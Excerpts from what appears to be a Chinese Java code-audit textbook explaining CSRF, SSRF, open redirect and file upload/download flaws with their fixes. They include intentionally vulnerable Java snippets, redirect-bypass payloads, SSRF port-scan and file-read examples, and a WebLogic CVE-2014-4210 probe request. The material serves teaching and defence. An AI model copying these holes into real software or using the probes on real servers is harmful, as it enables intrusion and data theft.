    {"text": "6.1 CSRF 6.1.1 CSRF 简介 CSRF（Cross Site Request Forgery，跨站点请求伪造）是目前出现次数比较多的 漏洞，该漏洞能够使攻击者盗用被攻击者的身份信息，去执行相关敏感操作。"},
    {"text": "实际 上这种方式是攻击者通过一些钓鱼等手段欺骗用户去访问一个自己曾经认证过的网 站，然后执行一些操作（如后台管理、发消息、添加关注甚至是转账等行为）。"},
    {"text": "简而言 之，CSRF 漏洞的工作原理是攻击者盗用了用户的身份，以用户的名义发送恶意请求。 图 6-1 所示为 CSRF 漏洞的攻击原理。 图 6-1 CSRF 漏洞的攻击原理 从图 6-1 中可以看到，一次完整的 CSRF 攻击需要具备以下两个条件。"},
    {"text": "总的来说，CSRF 漏洞攻击是一种比较简单的攻击，利用 Web 的隐式身份验证 机制来达到攻击者的攻击目的。 6.1.2 实际案例及修复方式 CSRF 攻击可能出现的场景有很多，如更改个人信息、添加/修改资料、关注用 户或者与交易相关的操作等。 CSRF 漏洞的出现通常是由于开发人员对该类型漏洞不 了解，因而疏忽了对该类型漏洞的防范。 通常来说，检测 CSRF 漏洞是一项比较烦琐的工作，最简单的方法就是抓取一个 正常请求的 GET/POST 数据包，删除 Referer 字段后再重新提交，如果该提交操作有 效，那么基本上可以确定该操作存在 CSRF 漏洞。 CSRF 漏洞一般不需要通过代码审 6.1 CSRF 247 计来发掘，业内已经有一些专门针对 CSRF 漏洞进行检测的工具，如 CSRFTester、 CSRF Request Builder 等。 若要通过代码审计去挖掘 CSRF 漏洞，一般需要首先了 解该开源程序的框架。 CSRF 漏洞一般会在框架中存在防护方案，所以在审计 CSRF 漏洞时，首先要熟悉框架对 CSRF 的防护方案，若没有防护方案，则以该框架编写的 所有 Web 程序都可能存在 CSRF 漏洞； 若有防护方案，则可以首先去查看增删改请 求中是否有 token、formtoken、csrf-token 等关键字，若有则可以进一步去通读该 Web 程序对 CSRF 的防护源码，来判断其是否存在替换 token 值为自定义值并重复请求漏 洞、重复使用 token 等漏洞。"},
    {"text": "public class RefererInterceptor extends HandlerInterceptorAdapter { private Boolean check = true; @Override public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) throws Exception { if (!check) { return true; } String referer=request.getHeader(\"Referer\"); if((referer!=null) &&(referer.trim().startsWith(\"www.testdomain.com\"))){ chain.doFilter(request, response); }else{ request.getRequestDispatcher(\"index.jsp\").forward(request,response); } } 通过阅读上述代码可以判断出该段源码对于 CSRF 漏洞的防御流程如下。"},
    {"text": "该判断仅仅判断请求 Referer 字 段 是 否 以 www.testdomain.com 开 头 ， 若 我 们 构 建 一 个 二 级 域 名 为 www. testdomain.com.hacker.com 的地址，则可能成功绕过该判断，从而进行 CSRF 攻击。"},
    {"text": "String sToken = generateToken(); String pToken = req.getParameter(“csrf-token”); if(sToken != null && pToken != null && sToken.equals(pToken)){ chain.doFilter(request, response); }else{ request.getRequestDispatcher(index.jsp”).forward(request,response); } } 在这段程序中，当用户登录成功后，首先通过 generateToken() 方法生成一个属 于该用户的 token，然后将其保存在服务端，并且将其镶嵌到 HTML 页面中的<input> 标签内。 当用户提交操作的时候，程序会比对该标签的 token 值是否等于服务端的 token 值，如果相等，则判断该操作是用户本人操作，而不是受到了 CSRF 攻击。"},
    {"text": "检查 Referer 字段。 HTTP 头中有一个 Referer 字段，这个字段用以标明请求来 源于哪个地址。 在处理敏感数据请求时，一般情况下，Referer 字段应该与请求地址 位于同一域名下。"},
    {"text": "CSRF 的本质是攻击者通过欺骗用户去访问自己设置的地址， 所以如果在所有用户进行敏感操作时，要求用户浏览器提供未保存在 Cookie 中且攻 击者无法伪造的数据作为校验，那么攻击者就无法再进行 CSRF 攻击。"},
    {"text": "而通过 CSRF 攻击的方式，攻击者无法事先获取到该 token 值，服务端就会因为校验 token 的值为空或者错误，拒绝这个可疑请求，从而 达到防范 CSRF 攻击的目的。 除以上 3 种主流方式外，还有很多其他方式，比如验证码机制、自定义 http 请 求头方式、Origin 字段等，但是这些方法都存在各自的问题，如友好度差、存在机制 绕过的可能等，因而只是作为辅助防御方式使用。"},
    {"text": "目 前针对 CSRF 的漏洞防护机制很健全，因此对于 Java 代码审计人员来说，通常主 要是研究源程序的 CSRF 防御机制，寻找防御的缺陷，或者通过多个利用链来实现 最终的攻击效果。"},
    {"text": "6.2 SSRF 6.2.1 SSRF 简介 SSRF（Server-Side Request Forge，服务端请求伪造）是目前在大型站点中出现 频率较高的漏洞，这种漏洞通常是由攻击者构造的 payload 传递给服务端，服务端对 250 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 传回的 payload 未做处理直接执行而造成的。 一般情况下，攻击者无法访问攻击目 标的内网，SSRF 是攻击者访问内网的凭借之一，因为 SSRF 攻击是由服务端发起的， 所以它能够请求到与它相连而与外网隔离的内部系统。 SSRF 的漏洞原理很简单，基本上都是服务端提供了从其他服务器应用获取数据 的功能且没有对目标地址和传入命令进行过滤与限制造成的，如常见的从指定 URL 地址加载图片、文本资源或者获取指定页面的网页内容等。"},
    {"text": "然后，Web 站点作为“中间人”，将包含有恶意攻击请求 的请求传递给内部网络，内部网络接受请求并处理后，将结果返回给 Web 站点。 最 后，Web 站点将内部网络返回的结果传递给攻击者，以此达到攻击内部网络的目的。"},
    {"text": "6.2.2 实际案例及修复方式 利用 SSRF 漏洞能实现的事情有很多，包括但不局限于：扫描内网、向内部任意 主机的任意端口发送精心构造的攻击载荷请求、攻击内网的 Web 应用、读取文件以 6.2 SSRF 251 及拒绝服务攻击等。 需要注意的是，Java 中的 SSRF 利用是有局限性的，在实际场 景中，一般利用 http/https 协议来探测端口、暴力穷举等，还可以利用 file 协议读取/ 下载任意文件。 SSRF 漏洞出现的场景有很多，如在线翻译、转码服务、图片收藏/下载、信息 采集、邮件系统或者从远程服务器请求资源等。"},
    {"text": "但对于代码审计人员来说，通常可以从一些 http 请求函数入手，表 6-1 中是在 审计 SSRF 漏洞时需要关注的一些敏感函数。 表 6-1 审计 SSRF 时需要注意的敏感函数 敏感函数 HttpClient.execute() HttpClient.executeMethod() HttpURLConnection.connect() HttpURLConnection.getInputStream() URL.openStream() HttpServletRequest() BasicHttpEntityEnclosingRequest() DefaultBHttpClientConnection() BasicHttpRequest() 除表 6-1 中列举的部分敏感函数外，还有很多需要关注的类，如 HttpClient 类、 URL 类等。"},
    {"text": "审计 此漏洞时，首先应该确定被审计的源程序有哪些功能，通常情况下从其他服务器应 用获取数据的功能出现的概率较大，确定好功能后再审计对应功能的源代码能使漏 洞挖掘事半功倍。"},
    {"text": "下面将通过两段简单的代码来了解什么是 SSRF 漏洞，利用该漏洞能做什么， 然后再通过一个 CVE 实例去深入了解 SSRF 漏洞。 1．利用 SSRF 漏洞进行端口扫描 利用 SSRF 漏洞进行端口扫描的代码如下。"},
    {"text": "String url = request.getParameter(\"url\"); String htmlContent; 252 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 try { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); HttpURLConnection httpUrl = (HttpURLConnection) urlConnection; BufferedReader base = new BufferedReader(new InputStreamReader (httpUrl.getInputStream(), \"UTF-8\")); StringBuffer html = new StringBuffer(); while ((htmlContent = base.readLine()) != null) { html.append(htmlContent); } base.close(); print.println(\"<b>端口探测</b></br>\"); print.println(\"<b>url:\" + url + \"</b></br>\"); print.println(html.toString()); print.flush(); } catch (Exception e) { e.printStackTrace(); print.println(\"ERROR!\"); print.flush(); } 以上代码的大致意义如下。"},
    {"text": "如上所述，因为本机地址存在 SSRF 漏洞，所以可以利用该漏洞去探测虚拟机 开放的端口，如图 6-3 所示。 6.2 SSRF 253 图 6-3 SSRF 测试端口成功界面 如果该端口没有开放 http/https 协议，那么返回的内容如图 6-4 所示。 图 6-4 SSRF 测试端口失败界面 根据不同的返回结果，就可以判断开放的 http/https 端口。"},
    {"text": "String url = request.getParameter(\"url\"); String htmlContent; try { URL u = new URL(url); URLConnection urlConnection = u.openConnection(); 254 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 BufferedReader base = new BufferedReader(new InputStreamReader (urlConnection.getInputStream())); StringBuffer html = new StringBuffer(); while ((htmlContent = base.readLine()) != null) { html.append(htmlContent); } base.close(); print.println(html.toString()); print.flush(); } catch (Exception e) { e.printStackTrace(); print.println(\"ERROR!\"); print.flush(); } Java 网络请求支持的协议有很多，包括 http、https、file、ftp、mailto、jar、netdoc。"},
    {"text": "而在实例化利用 SSRF 漏洞进行端口扫描中，HttpURLconnection() 是基于 http 协 议的，我们要利用的是 file 协议，因此将其删除后即可利用 file 协议去读取任意文 件，如图 6-5 所示。"},
    {"text": "从官方通告中我们可以得知，Hawt Hawtio 小于 2.5.0 的版本都 容易受到 SSRF 的攻击，远程攻击者可以通过 /proxy/ 地址发送特定的字符串，可以 影响服务器到任意主机的 http 请求。"},
    {"text": "用户可以通过反编译 hawtio-system-2.5.0.jar 包获取本程序的源码，或者通过 GitHub 的 tree 分支来获取源码，在路径为 hawtio-system/src/main/java/io/hawt/web/ proxy/ProxyServlet. Java 的文件中找到 service 函数，关键内容如下。"},
    {"text": "protected void service(HttpServletRequest servletRequest, HttpServletResponse servletResponse) throws ServletException, IOException { // 发起请求 //注意: 我们不会转移协议版本，因为不确定它是否真的兼容 ProxyAddress proxyAddress = parseProxyAddress(servletRequest); if (proxyAddress == null || proxyAddress.getFullProxyUrl() == null) { servletResponse.setStatus(HttpServletResponse.SC_NOT_FOUND); return; } // 为 Kubernetes 服务实现白名单保护 if (proxyAddress instanceof ProxyDetails) { ProxyDetails details = (ProxyDetails) proxyAddress; if (!whitelist.isAllowed(details)) { LOG.debug(\"Rejecting {}\", proxyAddress); ServletHelpers.doForbidden(servletResponse, ForbiddenReason. HOST_NOT_ALLOWED); return; } } 通过 parseProxyAddress 函数获取 URL 地址，然后判断其是否为空,如果不为空, 则通过 whitelist.isAllowed() 判断该 URL 是否在白名单里，跟进 whitelist，其关键 代码如下。 256 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 public ProxyWhitelist(String whitelistStr, boolean probeLocal) { if (Strings.isBlank(whitelistStr)) { whitelist = new CopyOnWriteArraySet<>(); regexWhitelist = Collections.emptyList(); } else { whitelist = new CopyOnWriteArraySet<>(filterRegex(Strings.split (whitelistStr, \",\"))); regexWhitelist = buildRegexWhitelist(Strings.split(whitelistStr, \",\")); } if (probeLocal) { LOG.info(\"Probing local addresses ...\"); initialiseWhitelist(); } else { LOG.info(\"Probing local addresses disabled\"); whitelist.add(\"localhost\"); whitelist.add(\"127.0.0.1\"); } LOG.info(\"Initial proxy whitelist: {}\", whitelist); mBeanServer = ManagementFactory.getPlatformMBeanServer(); try { fabricMBean = new ObjectName(FABRIC_MBEAN); } catch (MalformedObjectNameException e) { throw new RuntimeException(e); } } ... public boolean isAllowed(ProxyDetails details) { if (details.isAllowed(whitelist)) { return true; } // 更新 whitelist 并再次检查 LOG.debug(\"Updating proxy whitelist: {}, {}\", whitelist, details); if (update() && details.isAllowed(whitelist)) { return true; } // 测试 regex 作为最后的手段 if (details.isAllowed(regexWhitelist)) { return true; 6.2 SSRF 257 } else { return false; } } public boolean update() { if (!mBeanServer.isRegistered(fabricMBean)) { LOG.debug(\"Whitelist MBean not available\"); return false; } Set<String> newWhitelist = invokeMBean(); int previousSize = whitelist.size(); whitelist.addAll(newWhitelist); if (whitelist.size() == previousSize) { LOG.debug(\"No new proxy whitelist to update\"); return false; } else { LOG.info(\"Updated proxy whitelist: {}\", whitelist); return true; } } 判断 URL 是否为 localhost、127.0.0.1 或者用户自己更新的白名单列表，如果 不是则返回 false。"},
    {"text": "if (servletRequest.getHeader(HttpHeaders.CONTENT_LENGTH) != null || servletRequest.getHeader(HttpHeaders.TRANSFER_ENCODING) != null) { HttpEntityEnclosingRequest eProxyRequest = new BasicHttpEntityEnclosingRequest(method, proxyRequestUri); // 添加输入实体（流） // 注意，不需要关闭 servletInputStream，因为容器会处理它 eProxyRequest.setEntity(new InputStreamEntity(servletRequest. getInputStream(), servletRequest.getContentLength())); proxyRequest = eProxyRequest; } else { proxyRequest = new BasicHttpRequest(method, proxyRequestUri); } copyRequestHeaders(servletRequest, proxyRequest, targetUriObj); BasicHttpEntityEnclosingRequest() 拥有 RequestLine、HttpEntity 以及 Header， 258 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 这里使用的是 HttpEntity。"},
    {"text": "HttpEntity 即消息体，包含了 3 种类型：数据流方式、自 我包含方式以及封装模式（包含上述两种方式），这里就是一个基于 HttpEntity 的 HttpRequest 接口实现，类似于上文中的 urlConnection。"},
    {"text": "service() 的主要作用就是获取请求，然后 HttpService 把 HttpClient 传来的请 求通过向下转型成 BasicHttpEntityEnclosingRequest ，再调用 HttpEntity，最终得到 请求流内容。"},
    {"text": "图 6-7 hawtio 默认界面 图 6-8 通过 SSRF 读取到内网其他 Web 站点界面 6.2 SSRF 259 在后续的版本中，官方采用了增加访问权限的方式修复 SSRF 漏洞，禁止未经验 证的用户访问该页面，如图 6-9 和图 6-10 所示。 图 6-9 hawtio 新版本对 SSRF 漏洞的修复方式 图 6-10 修复 SSRF 漏洞后的测试图 SSRF 漏洞的修复方式有很多种，并不局限于增加访问权限，除此之外还有以下 几种。"},
    {"text": "● 根据业务需求，判定所需的域名是否是常用的几个，若是，则将这几个特定 的域名加入白名单，并拒绝白名单域名之外的请求。 ● 根据请求来源，判定请求地址是否是固定请求来源，若是，则将这几个特定 的域名/IP 添加到白名单，并拒绝白名单域名/IP 之外的请求。"},
    {"text": "4．实际案例 Weblogic SSRF 漏洞（CVE-2014-4210）分析 Weblogic SSRF 漏洞是一个比较经典的 SSRF 漏洞案例，我做渗透测试工作时曾 经 遇 到 过 许 多 次 ， 该 漏 洞 存 在 于 http://127.0.0.1:7001/uddiexplorer/SearchPublic Registries. jsp 页面中，如图 6-11 所示。 图 6-11 Weblogic SSRF 漏洞 Weblogic SSRF 漏洞可以通过向服务端发送以下请求参数进行触发，如果该 IP 和端口存在并且开放，则返回以下信息，如图 6-12 所示。"},
    {"text": "rdoSearch=name&txtSearchname= sdf&txtSearchkey=&txtSearchfor=&selfor= Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 6.2 SSRF 261 图 6-12 IP 或端口存在且开放时返回的信息 如果该 IP 不存在或者端口不存在，则返回以下信息，如图 6-13 所示。 图 6-13 IP 或端口不存在时返回的信息 根据请求的 URI 可以看到请求的是 SearchPublicRegistries.jsp，该文件的存储路径为 user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/ uddiexplorer/ 5f6ebw/war/SearchPublicRegistries.jsp。 从请求的 URL 中可以发现最关键的参数是 operator 参数，在 SearchPublic Registries.JSP 文件的第 48 行获取了该参数，如图 6-14 所示。 图 6-14 operator 参数 在第 102 行调用 search.setOperator 方法并将 operator 作为参数传入，并在第 107 行调用 search.getResponse 方法，如图 6-15 所示。 图 6-15 调用 search.getResponse 方法 getResponse 方法的第 65 和 66 行分别调用了一个 Http11ClientBinding 对象的 send 方法和 receive 方法，当探测的 IP 存在且端口开放时，会在 receive 方法处抛出异常， 异常类型为 IOException。"},
    {"text": "图 6-16 调用 send 方法和 receive 方法 抛出的异常在第 88 行被封装成一个 XML_SoapException 对象返回给客户端，如 图 6-17 所示。 图 6-17 XML_SoapException 对象 异常内容就是 var18.getMessage 方法返回的结果，如图 6-18 所示。"},
    {"text": "图 6-18 var18.getMessage 方法返回的结果 6.2.3 小结 SSRF 漏洞犹如一位隐形杀手，常年隐匿于大型站点中不起眼的角落，有非常大 的威胁。 国内的互联网科技公司如腾讯、阿里巴巴、华为、百度等，均出现过 SSRF 漏洞，且具有一定的危害。"},
    {"text": "因此对于安全审计人员来说，更应注意 SSRF 漏洞的挖掘，除了基本的搜 索关键函数审计的方法外，还要注意源程序对于 SSRF 的防御策略是否存在漏洞， 攻击者是否可以绕过其防御策略，或者能否配合特殊环境下的配置，形成漏洞利用 链。"},
    {"text": "6.3 URL 跳转 263 扫描二维码 学习更多关于 SSRF 的扩展知识 6.3 URL 跳转 6.3.1 URL 跳转漏洞简介 URL 跳转漏洞也叫作 URL 重定向漏洞，由于服务端未对传入的跳转地址进行 检查和控制，从而导致攻击者可以构造任意一个恶意地址，诱导用户跳转至恶意站 点。 因为是从用户可信站点跳转出去的，用户会比较信任该站点，所以 URL 跳转漏 洞常用于钓鱼攻击，通过转到攻击者精心构造的恶意网站来欺骗用户输入信息，从 而盗取用户的账号和密码等敏感信息，更甚者会欺骗用户进行金钱交易。 URL 跳转漏洞的成因并不复杂，主要是服务端未对传入的跳转 URL 变量进行检 查和控制，或者对传入的跳转 URL 变量过滤不严格导致的，图 6-19 所示为一次 URL 图 6-19 一次 URL 跳转攻击 264 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 跳转攻击。 攻击者首先精心构造一个钓鱼站点 A，然后利用 URL 跳转漏洞修改目的跳转 地址，使原本应跳转到可信任站点 C 的地址变成钓鱼站点 A。"},
    {"text": "此外，还有站内单击其他网址链接时也会进行跳转，如 果 URL 中存在跳转地址，则可能存在 URL 跳转漏洞。 在实际场景中，引发 URL 跳转漏洞的原因有很多，但大多是以下几点：第一， 开发人员不具备安全意识，编写代码时没有考虑任意 URL 跳转漏洞； 第二，开发人 员具有一定的安全意识，但是编写代码时考虑不够缜密，采用取关键字、取后缀等 方法简单判断要跳转的地址，使代码逻辑可被绕过； 第三，开发人员对于传入的 URL 地址进行切割、拼接，导致攻击者可以利用其代码本身的逻辑进行绕过； 第四，由 于使用的开发语言的特性、服务器/容器特性、浏览器特性等对标准 URL 协议解析 处理等差异性导致被绕过； 第五，由于使用的开发语言的某些判断域名的函数库出 现逻辑漏洞或者意外特性，导致被绕过。"},
    {"text": "审计人员审计此类漏洞时，需要关注被审计程序业务含有跳转功能的区域，并 对该区域进行详细审计，此外还需要关注与此类漏洞相关的常见参数名、常见函数 等，如表 6-2 和表 6-3 所示。"},
    {"text": "表 6-2 与 URL 跳转漏洞相关的常见参数名 参数名 url site host redirect_to redirect_url returnUrl domain 6.3 URL 跳转 265 续表 参数名 domains jump_to target link links linkto 表 6-3 与 URL 跳转漏洞相关的常见函数 函数名 sendRedirect getHost redirect setHeader forward 下面通过 3 段示例代码来讲解由于不同原因导致的 URL 跳转漏洞。 1．无限制的任意 URL 跳转 无限制的任意 URL 跳转是最简单的跳转，这是由于开发人员并未对跳转的地 址进行限制，也没有经过任何检查就跳转到任意传入地址，示例代码如下。 String url = request.getParameter(\"url\"); response.sendRedirect(url); 可以看到开发人员对于传入的 url 参数并未做任何限制，可以跳转到任意地址，从 而导致了任意 URL 跳转漏洞。"},
    {"text": "2．有限制的任意 URL 跳转 有限制的任意 URL 跳转和无限制的任意 URL 跳转相比较，多了对于跳转地址 的限制，但由于限制不严格或者存在逻辑问题导致被绕过，示例代码如下。"},
    {"text": "String trustUrl = \"www.domain.com\"; String url = request.getParameter(\"returnUrl\"); if (url.substring(0,trustUrl.length()) == trustUrl) { response.sendRedirect(url); } 266 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 此处开发者认为只要判定传入的 URL 地址前若干位为其事先设置好的白名单 的地址，则认为该地址是安全和可信的地址，并执行跳转。"},
    {"text": "● www.test.com/?redirectUrl=http://www.domain.com.hacker.net。 ● www.test.com/?redirectUrl=http://www.domain.com/www.hacker.net。 ● www.test.com/?redirectUrl=http://www.domain.com?www.hacker.net。 ● www.test.com/?redirectUrl=http://www.domain.com@www.hacker.net。 ● www.test.com/?redirectUrl=http://www.domain.com#www.hacker.net。"},
    {"text": "我们知道，URL 跳转漏洞的主要危 害是钓鱼，所以可以针对其危害进行修复，也可以针对跳转逻辑进行修复。 针对危 害的修复方式是：设置二次提醒，即当要从本域名跳转到其他域名时，建立二次确 认跳转页面，用户只有二次单击确认后才可以跳转，图 6-20 所示为即某网站的二次 跳转提醒。 图 6-20 某网站的二次跳转提醒 虽然这种方式可以杜绝所有跳转地址直接跳转，从而保障用户的安全，但是这 种方式也存在问题，就是对于用户不够友好，没有安全意识的用户也可能忽视此类 提醒，无法从根源上保障用户的安全。"},
    {"text": "6.4 文件操作漏洞 267 ● 若跳转的 URL 事先是可以确定的，那么设置好白名单，并且采用全匹配的 方式去检索关键字/域名； 也可以先配置好相关参数，只需传对应 URL 的索 引即可通过索引找到对应的具体 URL，然后再进行跳转。 ● 若事先无法确定跳转的 URL，且并不是由用户通过参数传入的，那么可以首 先生成跳转链接，然后进行签名，只有通过验证签名才能进行跳转。 ● 若跳转的 URL 事先无法确定，并且是由用户通过参数传入的，则必须在跳转 时对传入的 URL 进行详细校验，包括但不局限于：是否是白名单内的 URL， 是否包含有相关特殊字符，是否处理好不规则协议、不规则地址的请求等方式。 6.3.3 小结 URL 跳转漏洞容易被安全人员忽视，认为其仅能够进行钓鱼攻击，但其实在各 种复杂的实际场景中，URL 跳转漏洞也可以引起 XSS 等漏洞，因此绝不可以忽视 其危害性。"},
    {"text": "对于安全审计人员来说， 审计该类型漏洞时，不仅要重点关注上文中提到的关键参数和关键函数，还应对开 发者编写的跳转限制规则进行 fuzzing 测试，判断是否有可用的特殊字符或者特殊 编码来绕过限制。"},
    {"text": "6.4 文件操作漏洞 6.4.1 文件操作漏洞简介 文件操作是 Java Web 的核心功能之一，其中常用的操作就是将服务器上的文件 以流的形式在本地读写，或上传到网络上，Java 中的 File 类就是对这些存储于磁盘 上文件的虚拟映射。 与我们在本地计算机上操作文件类似，Java 对文件的操作同样 包括上传、删除、读取、写入等。 Java Web 本身去实现这些功能是没有漏洞的，但 是由于开发人员忽略了一些细节，导致攻击者可以利用这些细节通过文件操作 Java 268 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 Web 本身的这一个功能，从而实现形如任意文件上传、任意文件下载/读取、任意文 件删除等漏洞，有的场景下甚至可以利用文件解压实现目录穿越或拒绝服务攻击等， 对服务器造成巨大的危害。"},
    {"text": "6.4.2 漏洞发现与修复案例 1．文件包含漏洞 文件包含漏洞通常出现在由 PHP 编写的 Web 应用中。 我们知道在 PHP 中， 攻击者可以通过 PHP 中的某些包含函数，去包含一个含有攻击代码的恶意文件，在 包含这个文件后，由于 PHP 包含函数的特性，无论包含的是什么类型的文件，都会 将所包含的文件当作 PHP 代码去解析执行。"},
    {"text": "JSP 的文件包含分为静态包含和动态包含两种。 静态包含：%@include file=\"test.jsp\"%。 动态包含：<jsp:include page=\"<%=file%>\"></jsp:include>、<c:import url=\"<%= url%>\"></c:import>。 由于静态包含中 file 的参数不能动态赋值，因此我目前了解的静态包含不存在包 含漏洞。 相反，动态包含中的 file 的参数是可以动态赋值的，因此动态包含存在问 题。"},
    {"text": "但这种包含和 PHP 中的包含存在很大的差别，对于 Java 的本地文件包含来说， 造成的危害只有文件读取或下载，一般情况下不会造成命令执行或代码执行。 因为 一般情况下 Java 中对于文件的包含并不是将非 JSP 文件当成 Java 代码去执行。 如果这个 JSP 文件是一个一句话木马文件，我们可以直接去访问利用，并不需要多 此一举去包含它来使用，除非在某些特殊场景下，如某些目录下权限不够，可以尝 试利用包含来绕过。 通常情况下，Java 并不会把非 JSP 文件当成 Java 去解析执行，但是可以利用服 务容器本身的一些特性（如将指定目录下的文件全部作为 JSP 文件解析），来实现任意 后缀的文件包含，如 Apache Tomcat Ajp（CVE-2020-1938）漏洞，利用 Tomcat 的 AJP 6.4 文件操作漏洞 269 （定向包协议）实现了任意后缀名文件当成 JSP 文件去解析，从而导致 RCE 漏洞。 2．文件上传漏洞 文件上传漏洞是 Java 文件操作中比较常见的一种漏洞，是指攻击者利用系统缺 陷绕过对文件的验证和处理，将恶意文件上传到服务器并进行利用。 这种漏洞形成 原因多样，危害巨大，往往可以通过文件上传直接拿到服务器的 webshell。 引起文件上传漏洞的原因有很多，但大多数是对用户提交的数据进行检验或者 过滤不严而导致的。 下面我们通过几个简单的代码片段来讲解一些文件上传漏洞。"},
    {"text": "<script type=\"text/javascript\"> function checkUploadFile() { var file = document.getElementById(\"file\").value; if (file == null || file==\"\"){ alert(\"未选定文件\") return false; } var allow_ext = \".jpg|.png|.gif|.jpeg\"; var ext_name = file.substring(file.lastIndexOf(\".\")); if (allow_ext.indexOf(ext_name)==-1){ var errMsg = \"该类型文件不允许上传\"; alert(errMsg); return false; } } </script> 对于攻击者来说，如果在后端对用户上传的文件没有检测过滤，那么所有的前 端过滤代码都是徒劳。"},
    {"text": "public boolean checkMimeType(String filename){ String type = null; 270 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 Path path = Paths.get(filename); File file = new File(path); URLConnection connection = file.toURL().openConnection(); String mimeType = connection.getContentType(); If(assertEquals(mimeType, \"image/png\")) return true; else{ return false; } } ... public String uploadFile(HttpServletRequest request) throws IOException { MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request; Map<String, MultipartFile> fileMap = multipartRequest.getFileMap(); if(fileMap == null || fileMap.size() == 0){ System.out.println(\"please choose your files！ \"); return \"error\"; } String root = request.getServletContext().getRealPath(\"/upload\"); File savePathFile = new File(root); if(!savePathFile.exists()){ savePathFile.mkdirs(); } String fileName = null; String suffixName = null; MultipartFile mf = null; InputStream fileIn = null; List<InputStream> isList = new ArrayList<InputStream>(); for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) { mf = entity.getValue(); fileName = mf.getOriginalFilename(); if(checkMimeType(fileName)){ suffixName = fileName.substring(fileName.lastIndexOf(\".\"), fileName.length()); try { fileIn = mf.getInputStream(); isList.add(mf.getInputStream()); LocalFileUtils.upload(fileIn, root, fileName); } catch (IOException e) { e.printStackTrace(); }finally { if(fileIn != null){ fileIn.close(); 6.4 文件操作漏洞 271 } } }else{ return \"error\"; } } return \"index\"; } 仔细阅读代码会发现，该上传代码片段针对上传文件的检测只有一个环节，即 通 过 checkMimeType() 函 数 来判 断用 户 上传 文件 的 MimeType 的 类 型是 否 为 image/png 类型，若是，则上传成功；"},
    {"text": "这里开发者的思路是 没有问题的，但出现的问题和由前端过滤导致的任意文件上传有异曲同工之妙，在 checkMimeType() 函数中使用的是 getContentType()方法来获取文件的 MimeType， 攻击者可以通过这种方式在前端修改文件类型，从而绕过上传。"},
    {"text": "public String uploadFile(HttpServletRequest request) throws IOException { MultipartHttpServletRequest multipartRequest = (MultipartHttpServle tRequest) request; Map<String, MultipartFile> fileMap = multipartRequest.getFileMap(); if(fileMap == null || fileMap.size() == 0){ System.out.println(\"please choose your files！ \"); return \"error\"; } String root = request.getServletContext().getRealPath(\"/upload\"); File savePathFile = new File(root); if(!savePathFile.exists()){ savePathFile.mkdirs(); } String fileName = null; String suffixName = null; MultipartFile mf = null; InputStream fileIn = null; List<InputStream> isList = new ArrayList<InputStream>(); for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) { mf = entity.getValue(); fileName = mf.getOriginalFilename(); suffixName = fileName.substring(fileName.indexOf(\".\"), fileName. length()); 272 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 if(suffixName.equals(\"jsp\")){ return \"error\"; }else{ try { fileIn = mf.getInputStream(); isList.add(mf.getInputStream()); LocalFileUtils.upload(fileIn, root, fileName); } catch (IOException e) { e.printStackTrace(); }finally { if(fileIn != null){ fileIn.close(); } } } } return \"index\"; } 上述代码是一个文件上传的代码片段，该段代码针对上传文件的检验是后缀名， 若后缀名为 jsp，则不允许上传，否则可以上传。"},
    {"text": "开发者首先利用 fileName.indexOf(\".\")去检 测文件的后缀名，indexOf(\".\") 是从前往后取第一个点后的内容，如果攻击者上传的 文件后缀名为 test.png.jsp，则可以绕过该检测，通常我们取后缀名所用的函数为 lastIndexOf()。"},
    {"text": "表 6-4 与任意文件上传漏洞相关的函数或类 函数或类名 File lastIndexOf 6.4 文件操作漏洞 273 续表 函数或类名 indexOf FileUpload getRealPath getServletPath getPathInfo getContentType equalsIgnoreCase FileUtils MultipartFile MultipartRequestEntity UploadHandleServlet FileLoadServlet FileOutputStream getInputStream DiskFileItemFactory 对于文件上传的防范或修复有以下几种方式。"},
    {"text": "引发任意文件下载/读取漏洞的原因通常是对传入的路径未做严格的校验，导致攻击 者可以自定义路径，从而达到任意文件下载/读取的效果，如下代码是一个任意文件 下载漏洞的示例。"},
    {"text": "protected void doPost(HttpServletRequest request,HttpServletResponse response) throws ServletException,IOException { 274 第 6 章 “OWASP Top 10 2017”之外常见漏洞的代码审计 String rootPath = this.getServletContext().getRealPath(\"/\"); String filename = request.getParameter(\"filename\"); filename = filename.trim(); InputStream inStream = null; byte[] b = new byte[1024]; int len = 0; try { if (filename != null) { inStream = new FileInputStream(rootPath + \"/Public/download/\" + filename); response.reset(); response.setContentType(\"application/x-msdownload\"); response.addHeader(\"Content-Disposition\", \"attachment; filename=\\ \"\" + filename + \"\\\"\"); while ((len = inStream.read(b)) > 0) { response.getOutputStream().write(b, 0, len); } response.getOutputStream().close(); inStream.close(); }else{ return ; } } catch (Exception e) { e.printStackTrace(); } } 可以看到，当服务端获取到 filename 参数后，未经任何校验，直接打开文件对 象并创建文件输入流，攻击者只需在文件名中写入任意路径，就可以达到下载指定 路径里的指定文件的目的。"},
    {"text": "首先，我们可以将下载文件的路径 和名称存储在数据库中或者对应编号，当有用户请求下载时，直接接受其传入的编 号或名称，然后调用对应的文件下载即可。 其次，在生成 File 文件类之前，开发者 应该对用户传入的下载路径进行校验，判断该路径是否位于指定目录下，以及是否 允许下载或读取。"},
    {"text": "4．文件写入漏洞 文件写入与文件上传比较相似，不同的是，文件写入并非真正要上传一个文件， 而是将原本要上传的文件中的代码通过 Web 站点的某些功能直接写入服务器，如某 些站点后台的“设置/错误页面编辑”功能或 HTTP PUT 请求等。"},
